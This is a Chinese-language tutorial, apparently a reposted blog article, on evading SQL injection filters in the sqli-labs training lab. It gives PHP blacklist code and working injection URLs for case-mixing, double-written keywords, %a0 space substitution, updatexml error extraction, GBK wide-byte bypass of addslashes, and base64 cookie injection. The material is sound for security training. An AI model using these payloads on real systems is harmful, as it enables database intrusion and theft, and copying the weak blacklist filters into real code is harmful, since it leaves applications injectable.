mysql注入绕过单引号_SQL注入-绕过过滤规则
過濾規則產生的原因
前兩篇舉例了SQL注入Get請求/SQL注入Post請求的案例,都是因為程序要接收用戶輸入的變量或者URL傳遞的參數,并且參數或變量會被組成 SQL語句的一部分被執行。這些數據我們統稱為外部數據,在安全領域有一條規則:一切外部數據是不可信任的。所以我們需要通過各種方式對數據進行檢測和過濾。
擴展:PHP的過濾函數
preg_replace(mixed $pattern , mixed $replacement , mixed $subject)
$pattern: 匹配的正則表達式
$replacement: 用于替換的字符串戒字符串數組
$subject: 要查找替換的目標字符串戒字符串數組
SQL關鍵字符過濾(and、or、 union、select等)
繞過過濾關鍵字的方法
#過濾注釋/*、--、#,過濾空格,過濾select,union關鍵字
function blacklist($id)
{
$id= preg_replace('/[\/\*]/',"", $id); //strip out /*
$id= preg_replace('/[--]/',"", $id); //Strip out --.
$id= preg_replace('/[#]/',"", $id); //Strip out #.
$id= preg_replace('/[ +]/',"", $id); //Strip out spaces.
$id= preg_replace('/select/m',"", $id); //Strip out spaces.
$id= preg_replace('/[ +]/',"", $id); //Strip out spaces.
$id= preg_replace('/union/s',"", $id); //Strip out union
$id= preg_replace('/select/s',"", $id); //Strip out select
$id= preg_replace('/UNION/s',"", $id); //Strip out UNION
$id= preg_replace('/SELECT/s',"", $id); //Strip out SELECT
$id= preg_replace('/Union/s',"", $id); //Strip out Union
$id= preg_replace('/Select/s',"", $id); //Strip out select
return $id;
}
1、大小寫繞過
如果過濾器通過關鍵字進行過濾并沒有識別大小寫 ,通過使用大小寫進行繞過,因為 SQL語句里不區分大小寫的。
(1)SQL邏輯關鍵字繞過
#原始SQL語句
SELECT * FROM users WHERE id='1' LIMIT 0,1;
#SQL注入語句
SELECT * FROM users WHERE id='1' AnD 1=1 -- LIMIT 0,1;
(2)SQLselect、union關鍵字繞過
http://192.168.1.64/sqli-labs/Less-27/?id=0'%a0union%a0select%a01,database(),3%a0||%a0'1'='1
http://192.168.1.64/sqli-labs/Less-27/?id=0'%a0UNion%a0SELect%a01,database(),3%a0||%a0'1'='1
擴展:updatexml函數報錯
http://192.168.1.64/sqli-labs/Less-27/?id=0'||%a0updatexml(1,concat(1,(SELect%a0database())),1)||%a0'1'='1
2、雙寫繞過
判斷是否有關鍵字不分大小寫過濾
http://192.168.1.64/sqli-labs/Less-25/?id=-1' or 1=1 --+
http://192.168.1.64/sqli-labs/Less-25/?id=-1' Or 1=1 --+
#不分大小寫過濾掉and、or兩個關鍵字,大小寫繞過行不通,使用雙寫繞過
function blacklist($id)
{
$id= preg_replace('/or/i',"", $id); //strip out OR (non case sensitive)
$id= preg_replace('/AND/i',"", $id); //Strip out AND (non case sensitive)
return $id;
}
(1)SQL邏輯關鍵字繞過
http://192.168.1.64/sqli-labs/Less-25/?id=-1' OORr 1=1 --+
(2)SQLselect、union關鍵字繞過
http://192.168.1.64/sqli-labs/Less-27/?id=0'%a0||updatexml(1,concat(1,(selselectect user())),1)%a0||%a0'1'='1
3、關鍵字等價繞過
#不分大小寫過濾掉and、or兩個關鍵字,大小寫繞過行不通,使用關鍵字等價繞過
function blacklist($id)
{
$id= preg_replace('/or/i',"", $id); //strip out OR (non case sensitive)
$id= preg_replace('/AND/i',"", $id); //Strip out AND (non case sensitive)
return $id;
}
# id=-1'使 SQL 語句報錯并使用單引號進行閉合,然后拼接 || 執行 id=5最終--+單行注釋SELECT * FROM users WHERE id='-1' || id=5 -- ' LIMIT 0,1 (即SELECT * FROM users WHERE id=5)
http://192.168.1.64/sqli-labs/Less-25/?id=-1' || id=5 --+
#SELECT * FROM users WHERE id='2' LIMIT 0,1
id=1 && id=2 都是 where 的一個條件,MySQL 在執行時會先執行 id=1,此時這條語句還沒執行完成,因為其中還一個邏輯&&運算,因此再執行 id=2,最后執行完成后則返回結果,最后執行的是id=2,所以僅顯示了 id=2 的記錄
http://192.168.1.64/sqli-labs/Less-25/?id=1 && id=2
注釋過濾(--+)
判斷是否有注釋過濾
#將#、--替換成空格
$reg = "/#/";
$reg1 = "/--/";
$replace = "";
$id = preg_replace($reg, $replace, $id);
$id = preg_replace($reg1, $replace, $id);
1、添加一個閉合方式來繞過
http://192.168.1.64/sqli-labs/Less-23/?id=1' or '
2、邏輯運算繞過
http://192.168.1.64/sqli-labs/Less-23/?id=-1' or '1'='1
去除空格過濾
#過濾or、and關鍵字,過濾\*、--、#注釋,過濾空格,過濾\,使用%a0十六進制繞過空格過濾
function blacklist($id)
{
$id= preg_replace('/or/i',"", $id); //strip out OR (non case sensitive)
$id= preg_replace('/and/i',"", $id); //Strip out AND (non case sensitive)
$id= preg_replace('/[\/\*]/',"", $id); //strip out /*
$id= preg_replace('/[--]/',"", $id); //Strip out --
$id= preg_replace('/[#]/',"", $id); //Strip out #
$id= preg_replace('/[\s]/',"", $id); //Strip out spaces
$id= preg_replace('/[\/\\\\]/',"", $id); //Strip out slashes
return $id;
}
1、ascii碼轉url編碼
判斷是否有空格過濾
#'unionselect1,2,database()||'1'='1' LIMIT 0,1' 空格全給過濾成“”
http://192.168.1.64/sqli-labs/Less-26/?id=-1' union select 1,2,database() || '1'='1
#http://192.168.1.64/sqli-labs/Less-26/?id=0'%a0union%a0select%a01,database(),3%a0||%a0'1'='1
http://192.168.1.64/sqli-labs/Less-26/?id=0'%a0union%a0select%a01,database(),3%a0%26%26%a0%271%27=%271
單引號過濾
Mysql在使用GBK編碼時,會認為兩個字符為一個漢字。寬字節注入就是發生在PHP向 Mysql請求時字符集使用了GBK編碼。例如addslashes()函數轉義。
#addslashes() 函數在指定的預定義字符前添加反斜杠,用于過濾單引號
function check_addslashes($string)
{
$string= addslashes($string);
return $string;
}
http://192.168.1.64/sqli-labs/Less-33/?id=\
#id 的參數傳入代碼層,就會在’前加一個\,由于采用的 URL 編碼,所以產生的效果 是%df%5c%27, GBK 編碼中,兩個字符表示一個數字,所以%df 把%5c 吃掉形成 了一個漢字,后面就剩一個單引號,所以此時的單引號并沒有被轉義可以發揮效果。 寬字符注入的必要條件,第一個字符的 ASCII 碼必須大于 128(使用ASCII擴展表)在https://blog.csdn.net/ttmice/article/details/50978054中查詢
http://192.168.1.64/sqli-labs/Less-33/?id=-1%82' union select 1,user(),database()--+
base64解碼過濾
PHP代碼使用 base64_decode()函數進行解碼過濾,如果不符合base64編碼的將會被過濾掉
$cookee = base64_decode($cookee);
可以看到Cookie 是經過 base64加密的我們使用 burpsuite進行base64加密注入
使用burpsuite對\進行base64加密XA==
通過進行base64加密注入得到閉合方式雙引號“
使用updatexml()函數進行報錯注入
使用burpsuite進行base64編碼注入獲取當前數據庫名
繞過過濾規則總結:
1、常用的過濾規則
(1)過濾關鍵字(or,and,union,select)
(2)過濾特殊字符()
(3)過濾空格
(4)過濾注釋(/*,#,--)
(5)過濾單引號(addslashes())
(6)過濾明碼數據(base64加密和解密)
2、對應的繞過技術進行SQL注入
(1)過濾關鍵字使用大小寫繞過,雙寫繞過,等價繞過,URL編碼繞過
(2)過濾特殊字符使用URL編碼繞過
(3)過濾空格使用URL編碼繞過
(4)過濾注釋使用添加一個閉合方式繞過,邏輯運算繞過
(5)過濾單引使用寬字符繞過(前提PHP使用GBK編碼)
(6)過濾明碼數據使用burpsuite加密發送數據繞過
總結
以上是生活随笔為你收集整理的mysql注入绕过单引号_SQL注入-绕过过滤规则的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: list排序方法python_pytho
- 下一篇: mysql触发器查询别的表_Oracle